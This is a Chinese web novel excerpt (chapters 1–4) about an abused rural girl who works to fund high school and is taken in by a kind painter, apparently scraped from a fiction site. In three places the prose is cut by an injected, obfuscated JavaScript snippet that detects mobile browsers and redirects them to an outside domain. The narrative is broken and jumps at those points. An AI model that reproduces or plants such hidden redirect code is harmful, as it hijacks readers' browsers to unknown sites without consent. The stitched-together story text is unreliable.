《你要乖》 1. 第 1 章 2012年,夏。 天还没亮,乔潇潇已经睁开了眼睛。 她静静地躺在柴房隔出来的小床上,听着隔壁大伯的鼾声和磨牙声。床板很硬,硌得肩胛骨生疼,但她习惯了。五年来,这张用门板搭成的床就是她的整个世界。 窗外传来第一声鸡鸣,她上了发条似的坐起来,没有发出一丝声响。 厨房的水缸见了底。乔潇潇拎起铁桶,踩过结霜的院子。井绳在她掌心勒出深红的印子,但她连眉头都没皱一下。十二岁那年冬天,她曾经因为打翻半桶水被伯母用擀面杖抽得跪在雪地里,现在她能让满满一桶水滴水不漏。 “磨蹭什么呢?”起来上厕所的伯母黄素兰趿拉着拖鞋出现在门口,睡眼惺忪的脸上写满不耐烦。 乔潇潇沉默地放下水桶,开始生火。灶膛里的火苗蹿起来时,她盯着那跳动的橙色出神。火焰多自由啊,想往哪烧就往哪烧。不像她,连呼吸都得计算着分寸。 稀粥在锅里咕嘟作响,她机械地切着咸菜,刀锋在案板上敲出规律的声响。 晨曦初绽,云层像被揉碎的棉絮,阳光从缝隙中倾泻而下,温柔地笼罩了半边小院,本应静谧祥和的清晨,却被尖锐刺耳的叫骂声划破。 “你小点声,别让潇潇听见!” “我怕她听见么!” “什么重点高中?!一年学杂费各类花销加起来要多少钱,你不知道吗?” “你自己女儿你不管了?!” “我省吃俭用地供她到现在就不错了!你出去看看,就咱们村,哪个女孩子到现在不是下地干活,嫁人补贴娘家,有谁去读这么贵的书?” 尖锐到变形的女声嘶吼着咒骂着,间或,夹杂着沙哑的唯唯诺诺的男低音。 “这不是潇潇出息吗?这孩子是咱们村这几年唯一一个考上乡重点的孩子啊,连村长都表扬了。” “她以后成绩出彩,我们脸上不也添光吗?” “添光?添谁的光?” “我嫁给你后,一天福都没享,给你们老乔家生孩子养孩子,你有没有良心!” “先不说她上学需要这么多钱,她走了,家里的猪你喂?鸡鸭鹅你喂?糯糯你带吗?!当初如果不是她,糯糯她——” “行了,闭嘴吧!!!” “砰——” 巨响在狭小的屋子里炸开,锅碗瓢盆被狠狠掼在地上,门被摔得震天响,连窗框都跟着颤了颤。 乔潇潇站在原地好半天,眼圈微微湿润,她摇着头要继续去忙的时候,一转身看见了乔糯筠缩在墙角,小小的身子几乎要嵌进墙缝里,两只手死死捂住耳朵,大眼睛里盛满了惊惶的泪水。 她的心猛地一揪。 “糯糯……”她快步上前,蹲下身,轻轻握住妹妹冰凉的小手。那双小手还在微微发抖,像受惊的雏鸟,连指尖都泛着苍白。乔潇潇用拇指摩挲着她的手背,声音放得极轻:“没事了,姐姐在这儿。” 乔糯筠生得粉雕玉琢,活像个精致的瓷娃娃。她仰着小脸,湿漉漉的大眼睛里盛满了惊慌,用手比划着。 ——姐姐,你不要糯糯了吗? 糯糯的嘴里发出“呜呜”含糊的声音,不成句子。她在三岁那年发高烧,烧坏了嗓子,一直都是这样。 乔潇潇摇了摇头,看着妹妹,蹲下身子,抱住她,柔声说:“姐姐不是不要你了,是我考上了高中,要去乡里上学,每周都回来看你好吗?” 怀中的小人儿突然僵住了。乔糯筠虽然年纪尚小,却隐约明白“高中”意味着什么。她倏地抬起脸,眼底的泪光还未散去,却已亮起星星般的光彩。 ——我看电视上说,上了高中就能考大学,就能过好日子啦!姐姐你快去! 她急切地比划着,肉乎乎的小手在空中划出坚定的弧度。 ——糯糯会乖乖等姐姐回来! 看着那婴儿肥的小脸蛋和真诚的大眼睛,乔潇潇心如刀割,她用力地抱紧妹妹,哽咽着:“对不起……” 早饭,不出意外的,黄素兰没有出来吃。 三个人围坐在桌前,气氛压抑。 以往这时候,无论有什么要求,乔潇潇都会让步妥协的,可这一次,所有的话,她都哽咽地咽了下去。 上午,照例要去打工的,去镇上的山路很长。乔潇潇坐在拖拉机后斗,看着两侧的山崖缓缓后退。风吹乱了她用旧橡皮筋扎起的头发,有几缕扫在脸上,痒痒的。 路过村口小卖部时,几个同龄女孩对着拖拉机指指点点。乔潇潇认得她们,都是当年一起上小学的。现在她们擦着劣质口红,穿着紧绷的牛仔裤,已经准备嫁人了。 “听说她考了全镇第一?” “有什么用,她伯母能让她读才怪。” “她妈不就是读书读跑的?” “呵呵……” 乔潇潇的指甲陷进掌心,但脸上依然平静。这些话她听了太多次,早该免疫了。 可心脏还是会疼,像被细铁丝一圈圈缠紧。 乔万山打工的工地尘土飞扬,烈日炙烤下,他的背脊弯成一道紧绷的弧线,一摞摞砖块压在他肩上,汗水顺着黝黑的皮肤滚落,在干燥的地面上砸出一个个深色的小坑。他一天能挣两百块,这是用无数个弯腰、扛起、走动的重复动作换来的。 而乔潇潇则在工地角落的临时厨房帮工。大铁锅里的菜油滋滋作响,蒸腾的热气熏得她脸颊发烫,她得洗菜、切菜、端盘子,偶尔还要被脾气暴躁的厨子呼来喝去。一天下来,她手里攥着的,只有皱巴巴的一百块钱。 工地上有多少人?少说也有百来号。而所有的菜——白菜、土豆、豆腐,偶尔有几片薄薄的肥肉都得靠她和几个帮工的女人张罗。她一天切菜的动作不停,很多时候,到了家,晚上做作业时,拿笔的手都在抖。 大锅饭的味道实在说不上好,菜叶煮得发黄,土豆带着土腥气,偶尔浮着的几片肥肉也早就炖得没了油水。可工人们依旧狼吞虎咽,对他们来说,能填饱肚子就是最大的满足,谁还会在意滋味的好坏? 吃饭时,他们总是三三两两地蹲在角落,捧着豁了口的搪瓷碗,沉默地扒着饭。那模样,就像一台台耗尽燃料的老旧机器,仅靠着最后一点惯性在运转。 今天的乔潇潇格外沉默。她缩着肩膀,机械地往嘴里送着饭粒。乔万山盯着她看了半晌,突然伸出筷子,把碗里仅有的两片肉都夹到了她碗里。 乔潇潇猛地抬头,下意识就要摇头拒绝,却听见乔万山低哑的声音:“你吃,长身体。” 她张了张嘴,最终什么也没说,只是低下头,让刘海遮住发红的眼眶。饭粒混着咸涩的泪水,被她一口一口咽了下去。 乔万山望着眼前这个瘦小的身影。十五岁的少女,本该是抽枝发芽的年纪,却因为长期营养不良,单薄得像片枯黄的落叶。他看着她突出的肩胛骨,看着她细得仿佛一折就断的手腕,心底那口气叹得又沉又重。 记得第一次带侄女来这个工地,看着他一块块搬砖的样子,彼时稚气未脱还有些活泼的乔潇潇认真地说:“大伯,我要好好读书,等读好书了,我带你过好日子,天天吃肉!” 一眨眼,那个水灵灵的小姑娘已经长大,乔潇潇身上沉沉的暮气,不是这个年龄该有的。 工地上只包中午饭,午饭吃完,乔万山要继续搬砖,而乔潇潇则要转移“战场”了。 偏僻的郊野公路上,半小时才有一班的公交车迟迟不见踪影。乔潇潇咬咬牙,把书包往肩上一甩,迈开双腿向着镇子方向跑去。 风掠过耳畔,带着干燥的尘土气息。她的帆布鞋踏过坑洼的路面,惊起几只麻雀。三公里的路程,她跑得胸口发疼,汗水顺着马尾辫滴落,在后背洇出一片深色的痕迹。 当快餐店的红蓝相间的招牌终于映入眼帘时,乔潇潇的双腿已经像灌了铅。她撑着膝盖大口喘息,喉间泛起铁锈般的血腥味。但时间不等人,她胡乱抹了把脸上的汗水,推开那扇沉重的玻璃门。 冷气混着炸鸡的香气扑面而来,让她有一瞬间的眩晕。更衣室里,乔潇潇颤抖着手指系上制服扣子,镜中的人脸色潮红,发丝凌乱地贴在额前。她深吸一口气,将疲惫藏进挺直的背脊,转身走向前台。 “对不起,我迟到了两分钟。”她的声音还带着喘息,却已经挂上了标准的微笑。 领班皱着眉看了眼手表:“本来就四个小时,还迟到?有没有规矩,不知道提前说一声?” 乔潇潇也想说,可是手机于她来说,太过奢侈。 …… 一天的打工结束。 暮色像一盆逐渐冷却的炭火,将天边烧成暗红色。三轮摩托突突的引擎声在乡间小路上格外刺耳,乔潇潇蜷缩在车斗角落,随着每一次颠簸轻轻摇晃。她实在太累了,连睫毛都像灌了铅,乔万山粗糙的大手紧紧攥着她的衣角,生怕她在颠簸中摔出去。 乔潇潇勉强睁开眼,看见大伯被夕阳镀成古铜色的侧脸,汗水在他深刻的皱纹里汇成小溪,他身上都是劳作了一整天不好闻的汗臭味。 车拐过晒谷场时,乔万山压低声音说:“潇潇,你放心,这个书是一定要读的。你伯母那,我慢慢说,费用什么的,我打听了,可以先申请助学贷款,至于住宿,我去找村长想想办法。” 引擎声忽然变得很大,大得盖过了田间的虫鸣,拂过了乔潇潇眼角的泪。 乔万山说到做到,晚上到了家,简单吃了口饭,就去找村长想办法了,而这个夜晚注定不平静。 每天给妹妹洗澡,是乔潇潇难得放松的时光。 浴室里的水汽还没散尽,乔潇潇用毛巾裹着糯糯湿漉漉的头发轻轻揉搓。小姑娘被蒸得粉扑扑的脸蛋蹭着她手心,像只餍足的猫崽。 ——姐姐香香。 糯糯用手比划着,她举起小胳膊闻着沐浴露的茉莉香,眼睛弯成月牙。 当乔潇潇终于把妹妹哄睡,轻手轻脚回到自己房间时,木门突然在巨响中震颤。黄素兰踩着虚浮的步子闯进来,鸡毛掸子在空气里划出尖啸,浓烈的酒气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“她爸死得蹊跷,她妈跑得干脆。” “连表妹都是,要不是沾染了她,不一定会烧成哑巴呢……” 这些窃窃私语乔潇潇从小听到大。她记得十岁那年矿难后,村里人看她时那种既怜悯又畏惧的眼神;记得搬到大伯家后,邻居们悄悄在门口撒盐驱邪;更记得妹妹高烧不退那晚,黄素兰歇斯底里的哭喊:“都是你这个扫把星害的!” 彼时,还小的乔潇潇不知道怎么就成“扫把星”了,只是,后来,那些突然降低的音量,那些躲闪的眼神,那些在她转身后响起的叹息,还有邻居的那一句:“别让那丫头进门吃饭,用一次性杯子给她倒水”,让她不得不明白。 正午的太阳毒辣地炙烤着柏油马路,宋秋的衬衫后背湿了一大片。他站在第八户人家的门前,掏烟的手顿了顿,最终只是重重地叹了口气。 到最后,宋秋蹲在梧桐树的阴影里,烟头的火星在指间明灭。他用力吸了一口,烟雾混着叹息一起吐出:“能找的都找了,现在就剩……那位了。” “她……”乔万山粗糙的手指无意识地搓着衣角,喉结上下滚动,“能、能行吗?” 烟灰簌簌落下。宋秋眯起眼睛望向远处的高楼:“当年,咱们村也算救过她一命,这些年,她陆陆续续帮了不少贫困孩子,人家受过高等教育,不能像是这些人那样迷信,去看看吧,就当死马当作活马医了。” 乔万山转头望去。 斑驳的树影下,乔潇潇仰着脸,细碎的光斑在她睫毛上跳跃。她站得那样直,仿佛肩上压着的不是见的偏见与苦难,而是整个天空的重量。 乔万山重重捻灭手里的烟,“好吧。” 乔潇潇永远忘不了第一次见楚心柔的场景。 原本一颗千疮百孔的心,早已破碎的不再抱有任何希望了。 可老天爷终究是为她留了一线生机,给了她希望。 老槐树的枝叶在风中簌簌作响,筛落一地碎金。 楚心柔就坐在那流动的光影里,素白的棉麻长裙垂落石凳,衣袂间沾染了几瓣飘零的槐花。她执盏的姿势雅致,左手虚托着天青色的越窑茶盏,右手三指轻拈盏盖,阳光穿过她耳际散落的发丝,为那珍珠般的耳垂镀上柔光。 经历了一上午的冷眼与推却,乔潇潇的灵魂早已蜷缩成皱巴巴的一团,她站在乔万山的身后,惶恐不安。 不管宋秋、大伯和眼前的人说些什么,她始终低着头,长长的睫毛眨动,孤僻自卑。 一直到她听到了一声温柔的“好”,乔潇潇猛地抬头,恰好撞进一片温柔的春色里。 风过槐树,雪白的花瓣纷纷扬扬。楚心柔正抬手拂去肩头的落花,羊脂玉镯顺着她纤细的腕骨滑落,在阳光下泛着凝脂般的光泽。 当那双含笑的眼眸望过来时,乔潇潇看见里面盛着的不是怜悯,而是清澈见底的温柔。 那一刻,满树的槐花都成了陪衬。 2. 第 2 章 归途中,村长兴奋得嗓音都拔高了几个调。他单手把着方向盘,另一只手在空中比划着:“我早说过,咱闺女准行!人家到底是读过书的,眼界就是不一样!” 乔万山脸上也堆着笑,心里却像揣了只兔子,七上八下地跳,“这回可多亏了她帮忙,咱们是不是该表示表示?” 宋秋笑出了声,一眼看穿他的顾虑:“人家啥都不缺。”说着扭头看向后座规规矩矩坐着的乔潇潇,语气温和了几分:“潇潇啊,可得好好读书。” 乔潇潇安静地靠在座椅上,脑海里不断浮现槐树下那个让落花成雨的身影,整个人恍若置身梦境。 果不其然,当乔万山把找到住处的好消息告诉黄素兰时,家里顿时又炸开了锅。 一整天无休止的争吵,好在糯糯今早被姥姥接回去小住,免受牵连。 乔潇潇早已习惯了,她像往常一样,利落地打扫完猪圈,喂饱了鸡鸭,转身便往隔壁王宁家走去。 王宁早就准备好了,见乔潇潇进门,她拍了拍身旁那个鼓鼓囊囊的纸箱:“我都打听过了,虽然学校不一样,但教材都是一样的。”箱子里整整齐齐码着高一的全套课本。 乔潇潇的眼睛一下子亮了起来。她蹲下身,小心翼翼地翻开最上面那本语文课本,纸张散发着淡淡的墨香,书页平整得几乎没有折痕。 “宁姐,这些书一共多少钱?”乔潇潇抬起头,声音里带着掩饰不住的雀跃。 这些年她在外面打零工,省吃俭用攒下的那五百多块钱。 王宁笑着摆摆手:“要什么钱啊!等你学好了,抽空给我补补课就成。”这话说得真心实意,乔潇潇的刻苦劲儿,在村里是出了名的。那些深夜里还亮着的灯火,那些被翻得卷了边的旧课本,都是最好的证明。 乔潇潇说什么也不同意,到底给王宁留下了二十块钱。 两个姑娘从小就是邻居,王宁最清楚乔潇潇家里的情况,也深知她骨子里那股倔劲儿。几番推让后,她终是笑着收下了钱,却又忍不住说:“高二的书我也给你留着,要是我能参加高考的话……”话说到一半,她的眼神飘向了远方。 王宁的成绩平平,父母常年在外打工,跟着奶奶长大的她能考上高中已经勉强,不像乔潇潇,品学兼优,前途光明。 “一定可以的,我们一起努力。”乔潇潇难得露出笑容,眼角弯成了月牙。 见她难得开心,王宁拉着她絮絮叨叨地聊起了高中生活——课业比初中繁重多少,压力有多大,每天要熬到多晚。乔潇潇听得格外认真,对“累”这个字眼毫不在意,反倒细细追问起学杂费和生活费以及一些花销细节。 王宁犹豫了一下,斟酌着字句:“学费可以申请困难补助,其他的费用……你大伯那边……” “我自己出。”乔潇潇斩钉截铁地打断了她。想到乔万山操劳的身影,想到糯糯定期去医院的花销,她怎么忍心再给这个家增添负担。 王宁抿了抿嘴唇:“我知道你这几年攒了些钱,可是潇潇……”她欲言又止,最终只是轻叹一声,“读书的花销,不是一天两天的事啊。” 乔潇潇垂下眼帘,指尖无意识地摩挲着课本的扉页。她不是那些活在温室里的同龄人,从小在泥泞里摸爬滚打的经历,让她比谁都清楚生活的重量。这几天她早已把三中的规章制度翻来覆去研究了个透,若是能拿满奖学金,勉强够维持日常开销。加上这些年攒下的积蓄,高一上学期应该能熬过去。暑假再拼命打工,这样一环扣一环地撑下去…… 可生活哪会永远按计划走?那些刻在骨子里的苦难记忆让她的危机感格外敏锐。只有不停地赚钱、攒钱,才能稍稍安抚心底那个永远填不满的黑洞。 “对了。”王宁见她神色凝重,连忙岔开话题,“听说你要住到心柔姐家里?” 乔潇潇猛地抬头,眼睛里倏地燃起一簇火苗:“你认识她?” 王宁被这突如其来的热切惊得怔了怔,下意识点头:“当然认识啊,村里多少孩子都受过她的帮助。” 她说是认识,其实大多也是听村里的大人说的。 村里关于那个女人的传闻很多。有人说她是从大城市来的,具体是哪儿没人说得清。城里人总爱往乡下跑,说是散心解压,但像她这样独自一人跑到万柳村这么偏僻的地方,倒是少见。 “听说是采风时被毒蛇咬了,是张叔他们救回来的,我听奶奶说,村长说当时她手上戴着的玉镯,看着可贵了。”王宁压低声音,像是在讲神秘故事一般:“后来就在镇上开了间画室,平时就自己画画,偶尔教教学生。” 最让村里人津津乐道的是她的淡然,听说贫困孩子来学画,她分文不取;遇上家境困难的,还会资助。但更多时候,人们总看见她独自背着画板来村里写生,一坐就是一整天。 “其他的——”王宁摇摇头,“我也不太清楚了。” 午后的阳光透过窗棂,在斑驳的墙面上投下细碎的光影。乔潇潇听完,只是轻轻点了点头,长睫毛在脸上投下一片阴影。 正午的阳光洒进小院,王宁奶奶挎着竹篮推门而入,篮子里还沾着露珠的野菜青翠欲滴。“潇潇别急着走。”老人脸上的皱纹舒展开来,“奶奶今天包你爱吃的野菜馅饺子。” 乔潇潇抿唇浅笑,她利落地帮奶奶把柴胡捆扎整齐,动作娴熟。 一旁的王宁也想帮忙,可从小被奶奶娇惯的她笨手笨脚,一个不留神就被柴胡的尖刺扎破了手指。 王宁疼得直抽气。奶奶赶忙拎着她的耳朵往屋里拽:“我像你这么大时,一家子的活计都扛起来了。你看看你!” 她虽是责备,语气里却满是宠溺。 “有奶奶在嘛~”王宁撒娇地蹭着奶奶的肩膀,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546795|171171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奶奶,疼~” 乔潇潇手上的动作顿了顿,眼底闪过一丝不易察觉的羡慕。她加快速度把剩下的活一气呵成地干完,临走时,灶台上那盘冒着热气的饺子散发着诱人的香气。她不动声色地咽了咽口水,对老人再三的挽留只是摇头:“谢谢奶奶,家里还等着我呢。” 脆弱的自尊像一层薄冰,让她从不在别人家留下用饭。 转身时,她将腰杆挺得笔直,仿佛这样就能撑起那份摇摇欲坠的骄傲。 院门在身后轻轻合上,关住了那诱人的香气和王奶奶的叹息声。 乔潇潇推开吱呀作响的木门,空荡荡的屋子里没有半个人影,灶台冷冰冰的没有一丝热气。她反而松了一口气,紧绷的肩膀终于松懈下来。 她小心翼翼地把新得的课本在炕头码放整齐,从竹筐里摸出个硬邦邦的馒头,随便拍掉上面的面粉就咬了一大口。干涩的馒头渣呛得她咳嗽了两声,但她还是三口并做两口,就着水咽了下去,挎上竹篓就往外走。 雨后初晴的山林格外潮湿,泥土混合着草木的清香扑面而来。 山路陡峭,泥泞容易打滑。 一般村民不会选择在这个时候采摘草药的,可乔潇潇却不可能错过这个时机,这时候路越滑人越少,越能采到值钱的药材。 她熟练地踩着泥泞的山路,不时弯腰采下一株株柴胡。 眼看篮子被一点点填满,乔潇潇心里开心,一个走神间脚下一滑,整个人重重摔在泥地里。 “痛——” 尖锐的碎石划破她的掌心,膝盖磕在石头上传来钻心的疼。她死死咬住下唇,硬是把那声痛呼咽了回去,整个人蜷在泥泞里缓了好一会儿。直到那股子钻心的疼劲儿能忍受了,她才用颤抖的手臂撑起身子,湿滑的泥地让她又滑倒两次才终于站稳。 低头看着沾满泥浆的衣服,乔潇潇的心猛地揪紧了。她颤抖着脱下外套,仔仔细细地翻检每一寸布料,袖口没破,衣领完好,只有些泥渍洗洗就能掉。悬着的心这才落回原处,她长舒一口气。 山风裹挟着湿冷的雾气,刀子般剐蹭着乔潇潇单薄的身躯。她下意识环抱双臂,褪色的衣袖滑落,露出一截苍白到近乎透明的手臂,手臂上盘踞着几道紫红色的淤痕,像几条狰狞的蜈蚣,在过分白皙的皮肤上显得格外刺目。 四下无人,乔潇潇将外套扎在腰间,任由那些伤痕暴露在微凉的空气中。她弯腰捡起散落的药篓,继续深一脚浅一脚地往山上走去,丝毫没有注意到不远处树影间的异样。 而在十几步外的松林间,楚心柔穿着一袭素白亚麻长裙,衣袂被山风轻轻拂动,静立如一幅工笔画,她手中的画笔悬在半空,迟迟未能落下。 画板上,原本要描绘的山景此刻被搁置一旁,她微微蹙眉,目光追随着那个蹒跚前行的背影,握着笔的手指不自觉地收紧了几分。 3. 第 3 章 忙碌了一天,乔潇潇踏着最后一缕夕阳回到家中。她轻手轻脚地关上门,从口袋里掏出今天卖草药得来的二十七块钱。纸币被汗水浸得微微发潮,却带着山间清新的气息。 那个锈迹斑斑的奶粉罐静静立在床头,在昏暗的煤油灯下泛着温润的光泽。她小心翼翼地掀开盖子,里面整整齐齐码着的零钞和硬币便映入眼帘——有皱巴巴的毛票,有磨得发亮的钢镚,每一分都记录着她这些年在山间跋涉的足迹。 她在心里默算着,指尖轻轻掠过那些带着体温的钞票。 五百八十二块。 多少个清晨踏着露水出门,多少个傍晚背着竹篓归来,那些被荆棘划破的伤痕,被烈日晒黑的皮肤,此刻都化作了罐子里沉甸甸的分量。这笔钱要支撑她现阶段高中的生活,虽然除去买教材的二十块后所剩不多,但至少能让她暂时安心。 乔潇潇刚把钱罐藏好,就听见院子里传来黄素兰尖利的叫骂声。她浑身一僵,下意识攥紧了衣角。 “浪哪儿去了?!猪都不喂了是吗?以为自己上高中就了不起了?”黄素兰的嗓音像刀子一样刮进屋里,“人还没走呢,就敢偷懒!养你这么多年,倒养出个白眼狼来了!” 乔潇潇的胃里绞得发疼,她今天一天就吃了个干馒头,早就消化完了,现在只剩下一阵一阵的灼烧感。她咬紧嘴唇,隐忍着,只盼着黄素兰骂够了就能消停。 可下一秒,房门被“砰”地踹开,黄素兰叉着腰站在门口,脸色阴沉得能滴出水来。 “哑巴了?”她冷笑一声,“饭不做,活儿不干,真当自己是城里大小姐了?” 乔潇潇低着头,大伯忙于生计,一向是早出晚归的,她知道,这时候顶嘴只会换来更狠的责骂,甚至是一顿打。 “我这就去。” 黄素兰冷哼一声,转身走了,脚步声重重地砸在地上,像是要把不满全踩出来。 乔潇潇拖着发软的双腿往外走,每迈一步都像是踩在棉花上。经过厨房时,她的目光不受控制地往灶台上飘,那半碗稀饭已经凝了一层薄薄的米油,在昏黄的灯光下泛着微弱的光泽。她下意识舔了舔干裂的嘴唇,喉头滚动了一下,却只咽下一口带着铁锈味的空气。 饿着肚子干活的滋味实在不好受,等乔潇潇终于把猪圈冲洗干净时,汗水已经浸透了后背。她扶着斑驳的土墙直起身,眼前突然炸开一片金星,不得不闭眼缓了好一会儿。 夜风裹挟着猪圈特有的腥臊味扑面而来,她瘦削的肩膀不自觉地打了个寒颤。 好在,因为妹妹不在家,黄素兰连看都不想看她,关上里屋门,准备去看电视去了,临了了,她还冷冷地看了乔潇潇一眼:“你今晚再通宵看书浪费电试试。” 乔潇潇没有抬头,她贴着墙根站着,整个人几乎要融进阴影里。 她本来就瘦,初三那年突然抽条的个子让她看起来更加单薄,洗得发白的旧衣裳空荡荡地挂在身上,露出一截细得惊人的手腕。夜风穿过院子,掀起她额前几缕枯黄的发丝,整个人仿佛下一秒就会被风吹散。 乔潇潇屏着呼吸,像只警觉的野猫般贴在墙边。里屋的电视声终于响起,夹杂着夸张的笑声和广告词,在寂静的院子里格外刺耳。她数着心跳等了片刻,确认黄素兰不会突然出来后,才蹑手蹑脚地摸向灶台。 炉膛里的余火还泛着暗红的光,她熟练地用火钳拨开灰烬,将几个土豆轻轻滚了进去。这些是她在后山偷偷挖的野土豆,个头不大,表皮还带着泥土。乔潇潇小心地用炭火盖好,生怕冒出的烟会引起注意。 做完这些,她蜷缩在灶台旁的阴影里,双手环抱住膝盖。炉火的温度透过单薄的衣衫传来,让她冻僵的手指慢慢恢复了知觉。黑暗中,她听见土豆表皮在高温下发出细微的“噼啪”声,忍不住咽了口口水。 乔潇潇正盯着炉火出神,突然听见门口的铃铛“叮叮叮”响了三声。这清脆的声音让她浑身一颤,下意识回头看了眼里屋的方向。 她踮着脚尖快步走到门前,木门发出细微的“吱呀”声。 夜色中,王宁手里攥着一个用旧布包着的饭盒,不安地朝屋里张望。 王宁压低声音问:“她睡了吗?” 乔潇潇摇了摇头,声音轻得几乎听不见:“还在看电视呢。”她侧身挡住门缝,生怕屋里的灯光泄出去。 王宁连忙把饭盒塞进乔潇潇怀里:“我奶奶说看见你在集市上站了一整天,连口水都没喝,让我给你送来的。” 这些话,是她含蓄说的,王奶奶说的明明是“潇潇这孩子啊,苦死了,我在集市上看着她,衣服上都是泥巴,八成是摔着了,回家啊,估计连口热乎饭都没有,你去把饺子拿给她。” 乔潇潇抱着突然塞到怀里的饭盒,愣在原地,不待她反应,王宁已经转身跑进夜色里。 在原地站了好一会儿,回到炉边,乔潇潇小心翼翼地掀开盒盖。热气瞬间模糊了视线,二十来个白白胖胖的饺子整齐地码在里面,边缘还泛着油亮的光泽。她颤抖着咬下一口,野菜的清香混合着猪肉的鲜美在口腔里炸开,滚烫的汁水烫到了舌头,她却舍不得吐出来。 这样的味道多久没有尝过了。 乔潇潇把最后一个饺子咽下去,指尖轻轻抚过饭盒边缘。这份温暖,她要在心里牢牢记住,等将来有能力了,一定要让报答姐姐和奶奶。 国家助学金的事跑得格外顺利,这是她没敢想过的,村委会的人都知道她,证明开的很快,申请表格上的每个字她都反复琢磨,生怕填错一个标点就会失去这个机会。 其他同学都在享受中考后的假期时,乔潇潇的暑假依然在连轴转。天不亮就去后山采药,晌午到镇上的小饭馆洗碗,傍晚还要赶回家喂猪做饭。 黄素兰为此又闹过几次,还是不想她去读高中,想让她留在家里做饭带孩子,尖锐的嗓音刺得人耳膜生疼。直到那天乔万山摔了碗筷,一直沉默寡言的男人难得发了火,青筋暴起的手掌在桌上,震得搪瓷杯里的茶水都溅了出来,事情才好了些。 开学前一周,乔万山突然高烧病倒了,虚弱地躺在床上,额头滚烫,浑身被冷汗浸透,去卫生院检查说是病毒性的流感。他挣扎着要起身,手臂上的青筋暴起,却在撑起半个身子时又重重跌回床上。 乔潇潇知道他不放心,“大伯,我自己去就行。” 乔万山喘着粗气,浑浊的眼睛里满是担忧:“你人小不熟悉,你……” 乔潇潇打断他,“我能行。” 临行那天清晨,院子里静得可怕。黄素兰抱着小女儿站在堂屋门口,目光刻意避开整装待发的乔潇潇,只有糯糯在妈妈怀里悄悄伸出小手,笨拙地比划着。 ——姐姐加油。 乔潇潇鼻子一酸,赶紧低下头去系鞋带。破旧的运动鞋上,她用针线仔细缝补过的痕迹像一道道伤疤。起身时,她最后看了眼这个生活了五年的院子:斑驳的土墙,歪斜的晾衣绳,还有墙角那丛她偷偷种下的野菊花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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楚心柔平时雨天是不出门的,只是那一日,突然下雨,她点了一盏檀香,来了作画的兴趣,家里的茶又喝完了,就打着伞去街上买茶。 等她拎着茶回来的时候,看见了门口的乔潇潇。 她那么小小一团,雨水顺着她凌乱的发梢不断滴落,在苍白的脸颊上蜿蜒出细小的溪流。单薄的衣衫紧贴着瘦削的身躯,能清晰看见她因寒冷而颤抖的肩胛骨。 楚心柔微怔了片刻,她快步走了过去,伞身一侧,挡在了乔潇潇的面前。 檀香的气息混着雨水的清冽幽幽飘散,刚刚还肆虐的风雨忽然就远了。 乔潇潇迟缓地抬起头,伞面投下的阴影里,她看见楚心柔被雨水打湿的袖口,和那双盛着讶异与怜惜的眼睛。 那样的眼神……乔潇潇已经很久没有看见了,激的她眼圈泛红,她知道自己在一个陌生人面前这样很失礼,慌乱的用手擦脸,小小声地解释:“对不起……我没有你的联系方式,我不是故意的,我——” 她生怕自己的突然到访惹人烦。 三中到高二才能寄宿,除了楚心柔这儿,她没有地方可以去了。 乔潇潇话还没有说完,一只温暖的手忽然握住了她冰凉的指尖。楚心柔俯下身来,如瀑的长发滑落,发丝间萦绕着淡淡的香气。 “没事的。”她声音很轻,温柔又让人安心:“来,我带你进去。” 4. 第 4 章 上次来的时候,乔潇潇没有进屋,只是在院子里站了站,甚至只偷偷看了楚心柔一眼,就立即低下了头。 如今,她进了门,仍旧不敢乱动,贴着墙边站着,瘦削的肩膀几乎要嵌进墙里。地板上有米白色的地毯,柔软洁净得像一片新雪,她怕踩脏,双脚局促地互相蹭着,帆布鞋边缘的泥渍已经干涸成浅褐色。 楚心柔正弯腰给乔潇潇找拖鞋,找到之后,一转身,看着她小心翼翼地贴在墙边,一动不敢动的样子。 “穿这双吧。”楚心柔把拖鞋放在她脚边,声音不自觉地放轻,“是新的,我去把热水器打开,你冲个澡,不然会感冒的。” 乔潇潇抿了抿唇,喉咙动了动,想说不用那么麻烦,她习惯了洗凉水澡,热水太奢侈了。可话到嘴边,又咽了回去。楚心柔已经转身走向浴室,背影纤细而利落,没给她推拒的机会。 等脚步声远了,乔潇潇才敢抬起头,小心翼翼地打量着四周。 房间好大,好干净。米白和原木色的家具在暖光下泛着柔和的光泽,地板亮得能映出人影,茶几上摆着她叫不出名字的电器,连空气里都飘着淡淡的香气,像是阳光晒过的被子。客厅的吊灯洒下橘黄色的光,暖意洋洋。 楚心柔回来时,发现乔潇潇还站在原地,像只被雨淋透的小猫,连爪子都不敢乱放。她脱了湿透的外套,头发勉强擦过,却仍滴着水,洇湿了一小片肩膀。 楚心柔:“我带你去浴室。” 乔潇潇点点头,声音轻得几乎听不见:“谢谢。” 她跟在楚心柔身后,脚步放得很轻,生怕踩重了会惊扰什么。 外面的风雨仍在呼啸,可屋内的灯光暖融融的,很温暖。 她想起以前在伯母家,每逢这样的暴雨天,伯母总会把妹妹搂在怀里轻声哄着,而她只能缩在杂物间的小床上,听着雷声在屋顶炸开,数着漏雨的嘀嗒声熬到天亮。 